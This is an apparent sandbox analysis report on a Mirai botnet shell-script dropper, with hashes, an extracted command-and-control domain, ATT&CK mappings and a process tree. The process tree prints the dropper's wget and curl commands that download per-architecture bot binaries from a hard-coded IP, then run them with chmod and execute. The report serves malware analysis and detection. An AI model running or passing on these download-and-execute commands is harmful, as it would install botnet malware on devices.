mirai | ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b

Analysis

max time kernel
137s
max time network
139s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03-11-2024 03:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
Size

2KB
MD5

e4e77af4bac19bf01d29278bd0e9e586
SHA1

c196bf5f34ff7ea2153847184efb61e1660a156b
SHA256

ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b
SHA512

84b295fee8cd431551221eaf5bb3148d58c5e58fce7a824bd30b0f6debff6cb10443518167a61eb4e06ee3802b0c476a8c464c8481f38fa4cd1208566adbb10e

Score

10^/10

mirai unstable botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

754 chmod
769 chmod
816 chmod
823 chmod
829 chmod
885 chmod
891 chmod
740 chmod
747 chmod
792 chmod
847 chmod
874 chmod
880 chmod
Deletes itself 1 IoCs

Processes:

WTH

pid process

748 WTH

pid	process
754	chmod
769	chmod
816	chmod
823	chmod
829	chmod
885	chmod
891	chmod
740	chmod
747	chmod
792	chmod
847	chmod
874	chmod
880	chmod

pid	process
748	WTH

Executes dropped EXE 13 IoCs

Processes:

WTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTH

ioc	pid	process
/tmp/WTH	741	WTH
/tmp/WTH	748	WTH
/tmp/WTH	755	WTH
/tmp/WTH	771	WTH
/tmp/WTH	793	WTH
/tmp/WTH	818	WTH
/tmp/WTH	824	WTH
/tmp/WTH	830	WTH
/tmp/WTH	849	WTH
/tmp/WTH	875	WTH
/tmp/WTH	881	WTH
/tmp/WTH	886	WTH
/tmp/WTH	892	WTH

Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
defense_evasion

Impair Defenses
T1562

Processes:

WTH

description ioc process

File opened for modification /dev/watchdog WTH
File opened for modification /dev/misc/watchdog WTH
Writes file to system bin folder 2 IoCs

Processes:

WTH

description ioc process

File opened for modification /sbin/watchdog WTH
File opened for modification /bin/watchdog WTH
Changes its process name 1 IoCs

Processes:

WTH

description ioc pid process

Changes the process name, possibly in an attempt to hide itself bblkt15nrr0l 748 WTH

description	ioc	process
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH

description	ioc	process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

description	ioc	pid	process
Changes the process name, possibly in an attempt to hide itself	bblkt15nrr0l	748	WTH

Reads runtime system information 13 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlcatWTH

pid process

743 wget
745 curl
746 cat
748 WTH

pid	process
743	wget
745	curl
746	cat
748	WTH

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlwgetcurlcurlwgetcurlcurlca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.shcurlcurlcurlwgetwgetwgetwgetwgetcurlcurlwgetcurlwgetwgetwgetcurl

description	ioc	process
File opened for modification	/tmp/zmap.i686	curl
File opened for modification	/tmp/zmap.mips	curl
File opened for modification	/tmp/zmap.arm	wget
File opened for modification	/tmp/zmap.arm5	curl
File opened for modification	/tmp/zmap.spc	curl
File opened for modification	/tmp/zmap.m68k	wget
File opened for modification	/tmp/zmap.sh4	curl
File opened for modification	/tmp/zmap.x86	curl
File opened for modification	/tmp/WTH	ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
File opened for modification	/tmp/zmap.mpsl	curl
File opened for modification	/tmp/zmap.arm	curl
File opened for modification	/tmp/zmap.arm7	curl
File opened for modification	/tmp/zmap.ppc	wget
File opened for modification	/tmp/zmap.sh4	wget
File opened for modification	/tmp/zmap.x86	wget
File opened for modification	/tmp/zmap.mips	wget
File opened for modification	/tmp/zmap.arm6	wget
File opened for modification	/tmp/zmap.arm6	curl
File opened for modification	/tmp/zmap.m68k	curl
File opened for modification	/tmp/zmap.spc	wget
File opened for modification	/tmp/zmap.arc	curl
File opened for modification	/tmp/zmap.mpsl	wget
File opened for modification	/tmp/zmap.arm5	wget
File opened for modification	/tmp/zmap.arm7	wget
File opened for modification	/tmp/zmap.ppc	curl

/tmp/ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
/tmp/ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh
1⤵
- Writes file to tmp directory
PID:711
- /usr/bin/wget
  wget http://154.216.16.38/zmap.x86
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/cat
  cat zmap.x86
  2⤵
  PID:739
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/WTH
  ./WTH ssh.x86
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://154.216.16.38/zmap.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:746
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.mips zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/WTH
  ./WTH ssh.mips
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - System Network Configuration Discovery
  PID:748
- /usr/bin/wget
  wget http://154.216.16.38/zmap.mpsl
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:753
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/WTH
  ./WTH ssh.mpsl
  2⤵
  - Executes dropped EXE
  PID:755
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat zmap.arm
  2⤵
  PID:768
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/WTH
  ./WTH ssh.arm
  2⤵
  - Executes dropped EXE
  PID:771
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm5
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:790
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/WTH
  ./WTH ssh.arm5
  2⤵
  - Executes dropped EXE
  PID:793
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm6
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:815
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/WTH
  ./WTH ssh.arm6
  2⤵
  - Executes dropped EXE
  PID:818
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arm7
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:822
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WTH
  ./WTH ssh.arm7
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://154.216.16.38/zmap.ppc
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:828
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/WTH
  ./WTH ssh.ppc
  2⤵
  - Executes dropped EXE
  PID:830
- /usr/bin/wget
  wget http://154.216.16.38/zmap.m68k
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:846
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh systemd-private-6fdb548480c14ad9972058694c9a60e3-systemd-timedated.service-Lnj0jp WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/WTH
  ./WTH ssh.m68k
  2⤵
  - Executes dropped EXE
  PID:849
- /usr/bin/wget
  wget http://154.216.16.38/zmap.spc
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/cat
  cat zmap.spc
  2⤵
  PID:873
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/WTH
  ./WTH ssh.spc
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/wget
  wget http://154.216.16.38/zmap.i686
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat zmap.i686
  2⤵
  PID:879
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/WTH
  ./WTH ssh.i686
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://154.216.16.38/zmap.sh4
  2⤵
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:884
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/WTH
  ./WTH ssh.sh4
  2⤵
  - Executes dropped EXE
  PID:886
- /usr/bin/wget
  wget http://154.216.16.38/zmap.arc
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://154.216.16.38/zmap.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/cat
  cat zmap.arc
  2⤵
  PID:890
- /bin/chmod
  chmod +x ca57064d873efe0819caf6a2b16b0e57ffb7b97401929cdde83b62de9cf45e7b.sh WTH zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/WTH
  ./WTH ssh.arc
  2⤵
  - Executes dropped EXE
  PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/WTH

Filesize
94KB

MD5
192b6eb8dcf1ad172064c832fbb47b92

SHA1
a2af8812f96d0748f3a119a4419ff65dcffb179c

SHA256
a97f5317845c7053e64d0d8d5e076532de7a2c98189eb7304b8e0e742e61e93d

SHA512
7ad2efc28832cf1312c00bccf6866669938b0f4787999b7112f750377aa5582b8c508bedba29f482dadceb6a1c3868ce87220cdded44399a1cd325ab9bfd7e9a

Download Submit
/tmp/WTH

Filesize
94KB

MD5
b4458e4fa2efcf88bfa2aaeda864519e

SHA1
8263798736379ed4ce23ef75e4d1f606e05c815b

SHA256
146ef07d918f77546ba8112e9f307361f9d54af4886dba7fc4ba9e58bc8c5d47

SHA512
4aa6068f6e3ed09c6706c37f046cd4081a5c7de3e307860e67ff9fff426a281f33dbb027bbcb36b0fd9df6dccd083308d78f43948009ccdcc3676ed4ff063010

Download Submit
/tmp/WTH

Filesize
74KB

MD5
8a666a51d2aeb8e106c7c9a302aa3acb

SHA1
c222cd4760966db8f2461c4dc034f9f3fe912eb2

SHA256
7b6c76af31adf965e62b5c726ea382825eb5f2aefc7e7331b192e0d4c809fe46

SHA512
b48dd376f4e801bd6ea3351a1726a45d1b895f25f534d9d211b1023195881211f3b52f02914317899f122d71b88775e912f6092e5fe7d83565b3fd23012a04ac

Download Submit
/tmp/WTH

Filesize
49KB

MD5
803219db4e5384144e86c388e558a530

SHA1
c8cb8ec327c2a53a6a5fa42d8c2886161defff89

SHA256
0edc353b0bc96801a0a2d654427c9f51991f3500a3a43070d9c5828efadd352e

SHA512
ccc7ee4ea8f672dd7d8df15e809b6cd9250ec80c0edbd929f0f8ab794c07bcf6ca7aade1f47898348b999f729b1ed6b47d4abed73eb8d2c94eac023fd5cf6332

Download Submit
/tmp/WTH

Filesize
152KB

MD5
04bd1585a8ca785193b158d27307e80b

SHA1
20faf0e3c7f878f134142f71c9f5b7d58ce5ab17

SHA256
272f6e7e0d6dd601ef8110959bc6907cf4531a87fc3e6a5b3ab7d32d1fa3d2ee

SHA512
d92b33a37dbd627faaf48ed65f785191ea8fccb104e15801d64160885e6244a7a98bc17ae1a5eb9e0c9d7f4b5f807174c2aff30d7235be4e8a19b271cd1fc2f2

Download Submit
/tmp/zmap.x86

Filesize
61KB

MD5
8edb75406d233f4201e85fd2d746c114

SHA1
79272fc7bf16c8f354efa0b4b59bcdf0f929fa0a

SHA256
e1f60f41d27140942ad74ef1f1bae26fc98787fed03c91d3c4a33e5390b6d3be

SHA512
df424a671363b4a9d6480a3210e9b135dfbce80bb9e8af7f2b931c5ba51deb8256d54b505dd418091f03c4139ccec955cc00cfeb1456e791c37d7abb5a1253c5

Download Submit